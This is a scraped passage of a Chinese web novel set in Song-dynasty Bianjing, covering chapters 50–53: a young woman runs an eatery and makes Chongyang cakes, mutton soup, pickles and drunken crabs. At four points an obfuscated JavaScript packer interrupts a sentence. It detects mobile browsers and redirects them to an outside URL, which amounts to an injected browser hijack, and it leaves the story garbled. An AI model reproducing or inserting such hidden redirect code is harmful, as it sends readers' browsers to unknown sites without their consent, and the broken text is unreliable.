那人长得凶巴巴的，眉毛粗，像枣树上掉下来的毛毛虫，黑乎乎的，裴丫对上他的视线，心里吓得一咯噔，眼泪倏地就落下来。 孟升哪里见过此等场景，一手拿着糖葫芦，另一手不知该如何安防，明明是想安慰她，语气倒强势起来，像是在军营里使唤下属：“你不准哭了！” 他一凶，裴丫也哭得更凶狠。 还引来旁人围观，孟升心里发慌，想着女儿家的泪水真多，真难哄。 徐妙姑也闻声赶来，抢过他手里的糖葫芦，递到裴丫面前，轻声道：“可是要吃糖葫芦？” 徐妙姑长相温和，透过那双眼睛却能看到她的坚定，温柔的声线也带着力量。 裴丫的泪早已止住，只点头，乖乖用圆润的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138301|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手掌擦干泪水。 叫徐妙姑也跟着动容，把糖葫芦递到她嘴边。裴丫便张嘴，因着是用大山楂做成的，她一口咬不下，只能啃下一块糖衣，酥脆香甜，便很快笑起来。 徐妙姑也摸摸她的头：“多吃些，这都给你。” 等裴玉从铺子里出来事，徐妙姑已经把人安抚好，便跟他解释一番。裴玉觉得不好白拿人东西，想给钱，徐妙姑却推脱了。 等回到摊位，徐妙姑才侧身问孟升：“孟大哥，你怎会跟一个孩童争吃食？” 孟升脸也臊，心里有万只蚂蚁在啃，却又支支吾吾，最后才小声道：“这不是买来给你……” 徐妙姑也不知如何说他好，对上孟升乌黑的眼眸，坚定地道：“孟大哥，你的心意我领了，但下回不可再这般了，既叨扰了旁人，也会连累我。” 听到“连累”二字，孟升急了，他岂能想到会造成这般局面，明明方才还好好的，想为自己辩解，但对上徐妙姑那双眼，也就什么也说不出。 最后也只能闷闷地“嗯”了声。 想起糖葫芦的钱还没给，徐妙姑便掏出几个铜板：“孟大哥，这是方才买糖葫芦的钱……定要不收！” 见此，孟升也只能收下。 虹桥另一头，陆琼还在挑种子，天冷能选的种子属实不多，唯有萝卜、菘菜、葱、蒜、韭……她便都来了点，尤其是萝卜，毕竟生腌萝卜的滋味可好了！ 买完种子，便开始分配土地，萝卜占三行，菘菜两行，余下的各占一行。 随后陆萱拖了几根竹子来，放到院子正中，喘着气：“先在地里围一圈栅栏吧，不然雪儿会跑进去。” 陆琼也觉得有理，取出柴刀，简单劈成好几根半人高的竹节，不过两根竹节间缝隙挺大，只能防得住“君子”。 撒种、浇水，一切便弄好了。 陆琼打了水，叫陆萱一块过来洗手，等吃完暮食，还要去陆记一趟。 “方才我还去找魏盼了。”陆萱把手按在水里，有些凉。 陆琼点头，把余下的种子收起来：“那怎会这般快回来？” 自从搬来东街这，离魏盼家也更近，过了东街便是，陆萱也时时去找她玩，二人便沿着汴河走，走到尽头再往回走。 陆萱的手依旧按在水中：“魏盼跟她娘吵起来了。魏荣明年考童试，这几日却不去学堂，便想叫她娘不要再给他花钱……” 如今魏盼身上穿的衣裳还是夏衣，去年的袄子穿不上了，还没来得及改宽，这天就冷起来。 陆琼看出她的想法，叫她把手取出来：“着凉了会生病，赶紧擦干净。” 陆萱欲言又止，最后擦干手便去卧房待着，不知捣鼓些什么，直到暮食才肯出来。 焖了些肉，还炖了豆腐汤，汤里加了些鸡蛋、小虾，除了鲜还有嫩。陆琼喝了小半碗，决定明天到市集买些低廉的海货，给陆记的粥底火锅提提鲜。 “萱儿觉得如何？虽比不得南食店，不过虾皮熬粥、熬汤皆不错。” 许是心里有事，陆萱喝了口汤才道：“挺好。” 反应如此平淡？陆琼摇摇头，把剩下的豆腐汤倒进碗中，这才叫人间美味…… 50. 重阳节 汴河是连接江南与汴京的重要运河，沿海海货也借此转运至京城，主要为干贝、虾米、咸鱼、海蜇等干货。 活鲜运送成本极高，常由船舱注水的“活水船”或冰镇短途运送，唯有宫廷或富商才享用得起。 在汴京卖海货的商贩不多，却也形成海货一条街，有几家专营海货的店，陆琼平日便会去买低价干货。 鱼贩拿出干成条的海带：“客官瞧瞧，新来的干货！味道鲜香，保证醇正！” 摊子里全是虾皮，不然就是海带、紫菜……有些寒碜。 陆琼便摇头，挑挑拣拣，走了几家才找到些虾米。许是天冷，见不到从沿海运来的活鲜，倒有小坛的酱蛤蜊，不过是酒楼常用的，她如今还用不上。 另一鱼贩常年日晒，脸上不仅粗糙，还有些干裂，把方才拿出的干贝放回去，遗憾道：“若要活鲜，得等来年了，过阵子汴河全是冰，船都走不动，如今埠头全是到岸的，就没有离开的。” 先前陆琼都待在上元村，自是不知道，前世生活在沿海也不缺海鲜，如今还真是馋了。 汴京人常吃的还是淡水鱼虾，像汴京的鲤鱼、鲫鱼，再就是用黑鱼切成片模仿蛤蜊肉，算是“假活鲜”。 吃不着，陆琼也只能遗憾点头：“那真是没赶上时候。” 不过鱼贩又道：“不少酒楼有地窖，许是存放了不少干货，说不准比我这齐全。” 随后还推荐了点别的干货，陆琼最后也算是满载而归，带了一小袋虾米、几条咸鱼，还有些海味姜豉，可以用来作调料，也能当配菜。 这些海货里，就虾米好做，用来熬汤底、熬粥都不错，不仅能提鲜，还有很浓厚的海味，陆琼闻着倒也觉得舒畅些。 杨姐儿家境一般，平日也就过节吃过碎虾皮煮的汤，还没闻过这般咸香的，手下还揉着面，却抻长了脖子，眼睛一动不动地看陆琼在汤底里撒虾米，还吞了下口水。 陆琼把汤底分成两锅，一份不加，一份加虾米，毕竟还要考虑到吃不惯海货的人。 知道杨姐儿馋，陆琼便先把熬好的粥盛一碗给她：“小心烫！” 不过今儿是重阳节，陆萱早早拉着魏盼去登高插茱萸，也不知何时才回来。 杨姐儿吃着粥笑了：“萱姐儿许是快回来了，这海味怕是传到十里开外了。” 也是，陆萱总能赶上好吃的。 陆琼也给自己装上一碗，鼻子刚凑上去，咸香味更重了，加上天冷，一碗热乎乎的粥下肚，她也更有干劲了。 先来的食客点了一份镈饦，汤底加了海货，还没尝便忍不住夸：“这香味太浓了……” 陆琼笑着端上一份菊花酒，刚从炉子拿出来，还热乎着：“客官若是觉得好吃，可别忘了替本店介绍给别人……” 全汴京也就她这般实诚，把食给客逗笑了：“定是按照陆掌柜的吩咐做。” “菊花酒也香极……” 陆琼笑着点头，毕竟这可是从戴楼买的菊花酒。 因着重阳佳节，家家都买酒，戴楼的人还涨价了，一坛酒比以往贵了十文钱，可叫她心疼死。要不是官家不许私自酿酒，她也不用花大价钱买。 杨姐儿见她气得不轻，笑着道：“待年节到了便好，那几日谁也管不着小娘子酿酒。” 年节也就冬至、春节这几日，若不是民间有喝酒的习俗，这官家说不定也不准！ 陆琼便撇撇嘴：“定要酿个一百坛！” 待到做重阳糕时，陆萱跟魏盼才赶回来。二人裙摆处皆沾湿了，还在头上簪了一朵嫩黄的菊花，身上带着一股淡淡的菊香。 陆琼赶紧拉着她们进来，却感受到魏盼只穿了两层单衣，她也愣住了，随后叫二人到灶头烤火取暖。 比起重阳糕，汴京人更喜欢叫狮蛮糕，也源于宋代独特的装饰风俗。 在糕点上插彩旗、撒糖霜，再用木制模具压印狮子或菊花样式，里边则用栗子、松子、石榴籽做馅，形状也与狮子相仿。 杨姐儿将糯米粉、粳米粉混在一起，这样制成的糕点软糯不粘牙。米粉也不得过干，不然蒸后易裂，还加了糖、各种果仁，都得提前蒸好。 从锅里出炉后，一股雾气往四周散开，众人皆能闻到一股黏腻的香味。 待凉了些，陆萱压模具，魏盼帮忙撒糖霜，最后放到盘子里，“狮蛮糕”才算是做成。 谢府里的狮蛮糕更为繁杂，彩旗、狮纹、果仁皆用上品，刚出炉的第一份便被送进赵氏的院子。 屋子里冷，唤竹叫人把门窗都关上，笑着呈上糕点：“宋娘怕老夫人忌口，还特地把糯米粉减去不少，这样不会粘牙，也不会吃伤了。” 卖相实在不错，赵氏也抵挡不住，吃完才发觉盘里没剩多少了：“宋娘只做了这些？” 唤竹收好盘子，点点头：“往年二位郎君都不吃，宋娘便不做了。” 听这话，赵氏失了神，想起从前：“……他们缠着我做狮蛮糕，也不知从哪学来，叫我在他们额上贴一片狮蛮糕。” 不过那时她没答应。 ...... 到午时，陆记座无虚席，每位前来的食客都必点一份狮蛮糕，再就是顺带要一壶菊花酒，来不及热了，他们便直接要生酒。 一位娘子跟陆琼借了竹刀，把狮蛮糕从底部切下一小片，贴在她女儿的额上，怕掉下，还用手掌压实了。 小女童一动不动，像是被定住了，娘子见了觉得好笑，只是在嘴里念着：“岁岁平安……” 见娘子笑，小女童不知为何，却也跟着笑。 魏盼家中有事，便提早回去，徒留陆萱一人搬着矮凳坐在灶房处，望着那对母女发呆。 陆琼突然走到面前，也在她额上贴上一片狮蛮糕，看着她笑而不语。 陆萱呆住了，随后才缓缓展开一个笑…… 别人买酒，陆琼会觉得正常，可杜哉来买酒，她会觉得出奇。 “杜延准你买酒？” 杜哉只笑：“这叫先斩后奏！” 陆琼啧一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146513|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声，还是把酒拿出来：“只此一例！” 杜哉近来忙极，陆琼都喊不动他，也问不出个所以然，便放弃，不过听杜延说他要参见明年的童试，许是在忙着备考。 望着杜哉离开的背影，陆琼总觉得他不像是这般安分的人…… 说起来，陆记在汴京还算得上是特殊的存在，别处的食肆，食客皆是些市井小民，到她这却引来了文人吟诗作赋。 是以菊花酒添了一壶又一壶，作了什么诗陆琼也不知，只知道他们夜里才肯散去。 陆琼把酒壶收起来，手都发酸，摇头评价一句：“这哪是文人，这是酒鬼才对！” 不过回想起过往的大诗人，饮酒作诗的确实不在少数…… 等转身陆琼才发觉杨姐儿不见了，竟跑到鱼铺去了，还端着方才给她的糕点，好在阿枫也回礼了，不过这二位也是越来越放肆了。 陆琼叹一声，便跟着手里的酒壶、酒杯一块去冷清的后门。 “陆掌柜！” 抬头便见是施三娘在唤她，最近与三娘的往来愈加紧密，也不知是从何时开始的。 施三娘叫她等在原地，随后从屋里拎出一份食盒，还有一壶用麻绳缠住的酒。 借着月光，陆琼才看清她的脸，只听她笑着：“重阳本是与家人团聚的日子，不过我……总之这份算是给你的重阳礼。” 三娘笑起来，总有一种亲切的感觉，陆琼也不知这是为何，只是笑着收下。 施三娘见她收下，笑意更深：“里头的菊花酒，可是我亲自酿的，比外头的好喝！” 民间也少不了私自酿酒的，只要不被官家查出，可陆琼还是惊讶，她竟敢把这等要紧的事说与她。 …… 重阳过后，汴京像是扑了一层冷气，走在街上都会冻得直哆嗦。 陆琼在院子里种的菘菜也长出不少，有些还已经摘了一轮，都被她先存放好了，今儿没事便正好来腌菜！ 说是小雪腌菜，可她也怕时间赶不及，还不如趁闲时把菜都处理完。 灶房门窗紧闭着，陆琼挨着火炉坐便也不觉得冷，还暖和。 门嘎吱一声，陆萱提着一桶水进来，不少冷气也趁机钻进来，本还暖着的陆琼发了冷颤。 陆萱也一直叫着“冷极了”，“外头都快结冰了”……不过离结冰还早着，至少要等小雪过后。 时下腌菜用的调料花样多，不止是盐、还有酱、醋、酒糟，再奢侈些，还会加些香料，陆琼最常用盐腌，一来是省事，二来是风味纯正，也吃惯了。 她捡了一颗晾至半干的菘菜，一层层擦盐，铺到陶瓮里。 陆萱也有样学样：“可地里的萝卜何时才好？” 陆琼把陶瓮放到墙边，最后压一块重石：“再过一月，也差不多能好。” 萝卜比菘菜麻烦，不仅要洗，还得削皮、切块，最后才能腌。 搬完最后一罐陶瓮，陆琼的腰也累得直不起来，想到地里的萝卜，她忽然有些后悔种太多了…… 51. 羊肉汤 小雪这日，汴京寒气初凝，汴河两岸边都结了层薄冰，不过河心仍能通航，暂且不碍事。 断疤胸前抱着一把大刀，许久未合眼，如今也是困倦不已：“这些小贼真难伺候，非要走水路，害的我一路没能好好睡一盹。” 镖头刘善坐在船舱，饮下刚热好的茶，升起的雾气遮住了脸庞，待散开后，才将眼神停在断疤脸上，虽未开口却将人震慑住。 断疤依旧不服气，只是声音更为低弱：“本就是，官府漕粮前几日便停了，谁还走水路，若遇上冰灾，一个不长眼撞上去，那就是人货皆清。” 好在船也靠岸，镖师们都尽快卸货，刘善也不去追究，只督促人赶紧把货搬下船。 断疤刚一松手，便闻到一股肉香，闭眼循着香味嗅去，发觉是旁的这位郎君身上传来的，便直直盯着他。 孟升也感受到一阵不容忽视的视线，捂紧了衣间藏好的肉饼，哼哧一声：“你要做何！” 二人都是虎背熊腰，眼神碰撞间便擦出火花，刘善在一旁也很快发现不对劲，把断疤往后拉：“勿闹事！” 断疤便也泄了气，可肚子还饿着，闻着那人身上的肉饼更馋了：“只是觉得这位郎君身上有股香味……” 孟升这才掏出半冷的肉饼，饼皮还有油光，里边掐的是酱羊肉，虽凉了些，可还是香喷了。 “你想要？” 断疤吞吞口水，忙点头，这般动作加上他的形象显得有些滑稽。 孟升笑出声，最后指了路：“往里走就是州桥，那一处皆是热乎乎的吃食，要我这干巴巴的做何。” 他这可是徐娘子做的，是天下独一无二的，才没别人的份。 说完还不留情面把人赶走：“快到别处去，别挡了我的道！” 若是往日，断疤被人这般对待定要大发雷霆，可眼下填饱肚子才是正事，在船上吃了一月多的干粮，可叫人难受。 也不是没有热食，可再好的食材到了他们几个手里都不能吃，还不若多买些干粮。想到那人说的热乎乎的吃食，断疤又忍不住咽口水…… 陆记的香味飘散到四周，原来是灶房熬了一锅羊肉，刚一揭盖，雾气便都散开来，正好糊住了陆琼的视线，她只好用手扇开一些气，才算好些。 这些羊肉皆是北方来的，肉质肥嫩，膻味也轻，加上大宋推广“栈羊”，也就是阉割的公羊，如今的羊肉可谓是一点膻味也无。 稀奇的是，在膻味一事上，宋朝不同人亦有不同见解。 文人雅士视其为粗鄙，北方游牧民族则认为是天人风味，富有之人用昂贵香料彻底去膻，平民百姓则常以重盐、辛辣调料佐食。 不论如何，陆琼还是坚持洗血水来去除膻味。 才给新来的食客盛好一碗羊肉汤，便听见外头有些吵闹，声音由远到近，这才露出真面目，竟然是镖局的人！ 陆琼记得领头那位，是半年前龙津桥处眉上断疤的镖师，最后一位则是沉默寡言却气场吓人的镖头……这么多铺子，怎么就刚好进了她这一家。 再说镖师一路艰险，不过见他们也只是脸上糙了些，想必这次路途顺利。 断疤起先还皱眉，等陆琼到他们眼前，他才惊呼：“好似见过你！” 虽说路上遇过不少人，但在龙津桥的那回是他离开汴京前的最后一顿，可不就是忘不掉！ 想起这般渊源，断疤也敞开了笑：“小娘子摇身一变，竟做起了掌柜，了不得！” 陆琼也笑，问他这次从何而来，打算在汴京待多久。 “从杭州来，下次走得是来年了，如今水路也快不通，不过偶尔会跑周遭的野路……” 陆琼也知道他们一路风尘仆仆，就等着饱餐一顿，也不多耽误，叫杨姐儿端来一煲羊肉。 断疤闻着香气，忍不住再深吸一口，眼底竟有些湿润，豪迈地拍一桌子：“这等场面，可少不了酒！” 陆琼也知道他意思，便把正热着的米酒端上来，怕不够，还叫陆萱多热了几壶酒。 给几人都满上，唯独镖头刘善摆手：“上茶便可。” 陆琼便给他新上一壶茶，她也懂，毕竟做镖师的要有警惕性，若是都喝得不省人事，那货都要叫人劫去。 断疤喝一杯酒，便来一口羊肉，吃欢了，吃热乎了，也吃尽兴了，与人聊起来嗓音便大了些。 杨姐儿在灶房也没法安心，皱着眉，凑到陆琼边小声道：“他们可不会吃霸王餐吧？” 陆琼取出羊肉汤里的木匕，甩了甩汤汁，笑眯了眼：“才不会，他们可不是这样的人。” 断疤哐当一声把酒杯放下，叫杨姐儿吓得不轻。 陆琼本想笑，却也想起半年前自己也曾这般害怕过…… 待镖局的人走后，陆记也冷清许多，外边冷，连着屋里也冷，便给墙边加了一个火炉，这才暖和些。 趁着没人，陆萱搬来一张矮凳，用铁钳子加了几块炭，呼了一口气，便烧起来。 还没到午时她却有些饿了，便洗了几块芋头，放到炉子上烤，没多久芋头皮便被熏黑了，用筷子一扎，已经熟了。 煨芋头跟烤红薯一般，口感细腻，只是没那般甜，陆萱将它掰成两半，还没来得及尝，手里另一半便被抢去了。 还听见陆琼得意的笑声。 陆萱便只能叹一气，认命地把手里剩下的半截芋头吃尽。 ...... 天越冷，在被窝里待得越久，人也越会不想起来。陆琼在床上赖了一小会儿，直到街坊邻里的动静传开，她才磨磨蹭蹭下床。 套了件水蓝袄子，便赶到灶房去生火。 瞥见旁边的腌菜坛子，她这才想起院里的萝卜，也不知何时能长出来。 陆琼又抱着汤婆子便急匆匆跑到地里，只见叶子都茂盛着，不少萝卜也露出一点头，过几日就能拔了！ 腌萝卜的滋味——酸脆、鲜甜，只是一想，她便开始口舌生津…… “阿姐，”陆萱从外头回来，还带回了一份炒栗子，关上门便也挤到灶房，“这是魏盼给的。” 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151357|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琼没回话，还在捣鼓腌菜，最先腌的这坛也有近二十日了，早该腌好了。 虽说有过不少腌制的经验，在开坛子时还是会紧张，陆萱也在一旁屏住呼吸。 所幸腌菜坛里只有酸香味，没有刺鼻的腐臭，菘菜看着也还脆着，见不到软烂的，出的水也清，没有白膜，这是做成了。 陆琼这才松口气，笑着抱起菜坛子：“今夜吃腌菜！” 陆萱也馋这腌菜许久，等了小一月，如今终于能尝上一回，心里也高兴极了，跟着忙上忙下，便忘了方才在街上遇见的事。 是以裴玉在东街开了间铺子，这事陆琼过了好几日才知。 她平日都不会经过东街，一般是直接往州桥去，偏生有一回赶去市集采购，这才发觉新开了一家铺子，牌匾上题着——木作坊。 附近都是药铺、食肆，或是古玩字画，这一木作坊设在此处，便显得突兀，不过也是投机取巧的法子，也叫人更加注意这家铺子。 还没仔细瞧，便见穿得像小团子的裴丫从里边出来，手里还拿着一个木具。 见到陆琼，还扬起笑，一直抓着她的衣摆不放。 本想说怎么没人管裴丫，便见杨三娘从里屋出来，对着旁边的学徒道：“可别弄坏了……贵着呢。” 等裴玉一出来，杨三娘又转变态度，一口一个玉儿，好似他们关系有多亲近。 “丫丫哪去了？”裴玉语气有些急，本想叫杨三娘少管些店里的事，忽地便发觉裴丫不见了。 杨三娘也察觉了，急得直跺脚：“方才还在的……” 陆琼也适时出声：“丫丫在这。” 见裴丫在外头好好的，裴玉也眼见松了口气，杨三娘则赶紧跑上前去把裴丫抱回来，拍了拍背，嘴里反复念着“没事了”。 “三娘，你可得看好丫丫了，谁来就跟着谁走，下回可没那般好运了。这外头冷，说不准哪天就被冻死街头了……” 杨三娘更怕了，抱着裴丫不敢松手：“你可别吓我，我不经吓……” 裴丫也不知是吓得，还是怎的，也抱紧了杨三娘。 可陆琼这话才不是唬人，这几日城里就冻死了人，也有不少饿死家中的，等下了雪只会更多。 秋收的存粮耗尽，近来粮价暴涨，陆记生意也不好做，好在官府很快便开仓赈粜，这才平抑了粮价。 此外，官府也向流民发“衲袍”，虽不能御寒，却能避体。相国寺也尽力而为，为城中百姓发放棉衣，不过也是杯水车薪…… 回去铺子便跟陆萱说其中这事，不过原来她早就知道，可听到杨三娘也在，这才长大了嘴，眼里满是惊讶：“三娘竟然也跟着一起……” “不过也好，丫丫总是跟着娘好些。” 每回给食客新上一份羊肉汤，都少不了闲聊几句：“陆掌柜，羊肉都吃腻了，何时能吃到糟蟹？” 陆琼收起托盘，擦去方才渐出的汤渍，弯眼笑着：“等汴京下第一场雪了，也就能吃上了。” 却没想，这雪说下便下了…… 52. 糟螃蟹 小雪之后，大雪也如约而至，离冬至还有些时日，汴河却早已结了一层厚冰，官府立马派凌人立于其间，指挥采冰人采冰。 为保证冰的纯净，便在汴河上游围了一条界，防止百姓误入，陆萱便拉着魏盼在岸边观看，她还是头一回见采冰。 魏盼呵着冷气：“若是我们也能采冰，就能做冰酥……明明夏日的汴水是随便用的，怎么结冰了就要钱了？” 陆萱知道她说的是夏天的冰，价钱确实高，不过也有几分道理，毕竟凌人要俸禄，采冰也要人力物力，而冰贩子也要挣钱，。 不远处采冰人用冰镐凿开冰面，长锯切割冰块，待冰浮起来，其余人便用钩叉将冰块撬起，顺着水流拖向岸边。 魏盼便指着汴河道：“不谈久远的事，就眼前的冰也不准我们采，还围起来。我自己采，也不叫他们帮忙，怎么连这也不许？” 陆萱也不知如何争论此事，想了很久也没想出个所以然。 汴河在浩浩荡荡地采冰，这头陆琼也在自家地里忙着拔萝卜，她等了好些时日，如今终于成熟了。 从地里拔出一根萝卜，扯下头顶的叶子，拍走表皮的泥，陆琼才满意地欣赏着：“这根不错，白白胖胖，头顶圆润，下边尖儿也肥，是个好萝卜……” 萝卜有多种做法，炒、炖、盐腌、醋腌……陆琼打算做醋腌萝卜，酸甜可口，还脆！ 今日总共收了五六十根萝卜，算是大丰收！井也结了一层冰，要点火才能打上水来，待萝卜洗净后削皮、切块，倒进大陶瓮里，加醋、盐、花椒，最后封上。 好在腌萝卜比腌菜快，过几日便能吃。 去陆记时，还提了一桶活蟹，全是刚从市集跟人来的，花了大价钱！ 见桶里活蟹还在舞弄着钳子，杨姐儿唉哟一声：“天冷的活蟹就是更贵，瞧着模样，怕是快不行了，得赶紧用酒糟封了……” 她们早托人提前买好酒糟，是活蟹一半的量，陆琼都给端出来备用，跟黄酒一块下锅煮，加盐、糖、花椒，先开文火煮，这酒香便飘到整个屋子都是。 食客正等着上菜，先问到这酒香，便好奇问一嘴：“陆掌柜又在捣鼓什么吃的？” “做糟蟹呢，选的都是雌蟹，还是活的。” 锅里酒糟沸了，陆琼便减柴，直到火灭，把渣滓滤净，糟卤才算是调好。 杨姐儿见机也拿出陶瓮来，铺上一层竹篦，再放入蟹，腹甲得朝上，不然膏黄会流失，撒些姜丝、葱白，最后倒入糟卤，直至没过蟹体，便能封上。 等冬至过后，糟蟹便也差不多好。 见如今吃不着，食客便收回心思，只想赶快吃上热腾腾的汤饼…… 这日谢府的人有事耽误了，陆琼便提前去送吃食，做了藕粉桂花羹，还有些小糕点，全是不伤胃的吃食。 她也跟府里的娘子何慕见过多次，可每回谢湛都在外办公，今日倒是守在何慕身边。 不过二人虽是亲兄弟，谢湛长相偏清冷，而谢洵则更为温和。 许是怕她不自在，何慕还把谢湛给请出去。最后屋里只剩下她们跟桃红三人，怕何慕累着，桃红拿来靠枕，垫在贵妃榻上。 许久没见，何慕更加圆润了，脸上笑意更深，没有前阵子的疲态。陆琼也知道她的不易，只能在吃食上花点心思，叫她舒坦些。 不过何慕叫她来也不过是想找个谈心的人，谢府手艺好的厨娘不少，宋娘就是其一，先前遇上还聊过几句。 陆琼也挨在贵妃榻边坐下，将食盒放在案几上，刚一揭开，桂花的香味便散开来。 她做的藕粉桂花羹卖相差些，不过味道纯正，毕竟藕粉是亲手做的，不是预制的冲泡粉。 “宋娘做的定不比我差。” 何慕尝了一勺藕羹才道：“可宋娘到底是要操办府中所有人的吃食，我才不好叫人专门给我做一份。” 陆琼笑她：“所以你就找我来？” 何慕嗔斥一声，眉目间露出恼意：“你分明知道我不是这个意思……” 待放下藕羹，又看着隆起的肚子叹气，她皱起眉头：“真想念冰酪，今年就没尝过冰镇的饮子。” 陆琼收起吃剩的藕羹，叫桃红撤到一旁，笑着：“等奴儿出生了，我日后给你做一份。” 何慕这才笑起来，因着许久没与外人说话，跟陆琼这一聊便是到了傍晚。 陆琼借着府里的光，拎着食盒从院门出来，却碰上了赶回家的谢洵。 比起谢洵的诧异，陆琼倒是颇为淡定，还能笑着跟他打招呼：“谢郎可是回府了，平日里都见不着人。” 听她这般说，谢洵也反应过来自己的身世早就被人看穿，想到前些日子说的那些话，便觉得窘迫，只想找个洞藏起来。 月下昏暗，谢洵脸上投出一片阴影，唯有眼睛还亮着，直勾勾地盯着人。 被盯着的陆琼却移开视线，匆匆绕过他身边：“锅里还炖了汤，我要早些回去……” 只余下一抹淡淡的桂花香，萦绕在谢洵鼻尖，久久不能散去。 …… 冬至还是宋人的“亚岁”，是一年之中较为重要的节日，民间还有“冬至大如年”的说法。 这日南郊祭天、百官朝贺，祠堂祭拜、互赠“冬至盘”…… 可对陆记来说，最为重要的便是推出冬至新品——冬至团。 团子还分荤的、素的，不过也都是常见的做法，大致就是糯米粉裹上不同的馅料。荤馅为猪肉末、冬笋丁、香菇碎，加酱汁炒熟，素馅有桃仁、胡桃，或是红豆沙加糖炒制而成。 这一个个糯米团子还裹上了黄豆粉，圆润精致，软软糯糯，叫人想上手抓一个尝尝。 陆萱也这么做了，最后吃得满嘴都是粉，还意犹未尽：“若是加了芝麻味道会更好……” 陆琼忙着做冬至团，见她没几口便吃掉三两个，真想敲敲她脑袋：“还想偷吃呢？” 陆萱扯了一抹笑，趁机再拿走两个团子，得意地笑：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155448|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿去给魏盼尝尝！” 见陆萱撒腿就跑，陆琼还想把人叫回来，杨姐儿却笑着：“萱姐儿这般真讨喜，叫冬天也没那般冷了。” 说的也是，热闹点总比冷清好。 先前做的糟蟹，今日也好了，早就搀这一口的食客也特意来了，还是冒着雪来的。 “上回说等下雪了，就能吃上糟蟹，可别食言了！” 陆琼就等着人来尝，便取出一份糟蟹来，放到盘中，蟹壳呈琥珀色，一股浓烈的酒香扑鼻而来，笑着递给食客：“这便来了！” 膏黄凝如玛瑙，食客一瞧便知道此为上品：“糟蟹卖相真好！来碗米饭，要粳米的！” 糟蟹性寒，配上粳米还能祛寒提鲜，若是好酒之人，还会嫌酒味不重，要热上黄酒一块吃。 米饭沾上酒味，食客深吸一口，才就着糟蟹肉吃进去，吃到皱眉头，又连着把余下的糟卤都浇在饭上，金黄流油，可为色香味俱全…… 不用问，便知是合胃口，陆琼也放心离去，忙着准备下一位食客的吃食。 新来的食客是谢洵，虽撑着伞来，可衣襟还是被雪打湿了不少。 自打那日戳穿身份后，他便没事就往陆记跑，三天两头就能来一回，这是要坐实自己“无所事事”的纨绔名头不成？ 来者便是客，陆琼也不能赶人走，还得耐心招待：“谢郎今日想吃些什么？” 谢洵拧紧眉头，好似做了什么重大决定，才郑重地点头：“就糟蟹吧，方才一进来便问到一股酒味。” 酒？ 陆琼总觉得他来这几回，好似都喝酒了，说不准还是个酒鬼，又在他“纨绔子弟”的名头上加添一笔。 给他端上新开的糟蟹，陆琼也有些疑惑：“宋娘做的糟蟹不好吃？先前到谢府，正好碰见她在叫人做糟蟹，算上日子，如今也是好了……” 昨日才吃过糟蟹的谢洵：“……” 沉默半会儿，他才攥着拳头随口说一句：“宋娘近来心思都在阿嫂那。” 这倒有意思起来，何慕可是说宋娘心思在整个谢府来着。 不过陆琼倒是清楚宋娘的为人，这府里上下，不论哪一个，她都不敢懈怠。 宋娘年三十好几，与别的厨娘不同，她并非自幼便学做厨娘，而是从淮南逃荒过来的。那时蝗灾严重，淮南粮食减产，便打算一路逃到汴京，路途艰险，遇上盗匪便与家人走散，最后跟着几位小娘子一同走到汴京。 可灾后官府要遣返她们回到原籍，宋娘与其余人又走散了，最终被赵氏留在府里，这一留便是十来年。 想起来也是唏嘘不已，陆琼也不追问他宋娘的事，改问他何慕的近况，得知一切安好后便离开。 谢洵来时才下的小雪，如今却越下越大，整个汴京都裹上一层银衣，马车碾出一条雪道，很快便被新雪覆盖。 “看样子，眼下是走不了……” 陆琼也将手伸出去，冷得她打哆嗦，跟着点头：“雪更大了。” 53. 腊八粥 陆琼换上碧青的袄子，配上银白的绣花鞋，撑着伞一路走到陆记，刚收好纸伞，外头的雪便更大了。 好在杨姐儿早早就到店里，屋子里的火炉都点上，稀疏的几颗炭还在不停燃着，灶房处炖着粥，下边加了不少柴，更为暖和。 外头雪花如絮，落在青砖上，转眼便将整条街覆上一层薄薄的霜。 杨姐儿捂着被火烤暖的手，眨了眨眼：“萱姐儿怎么没来？可是病了？” 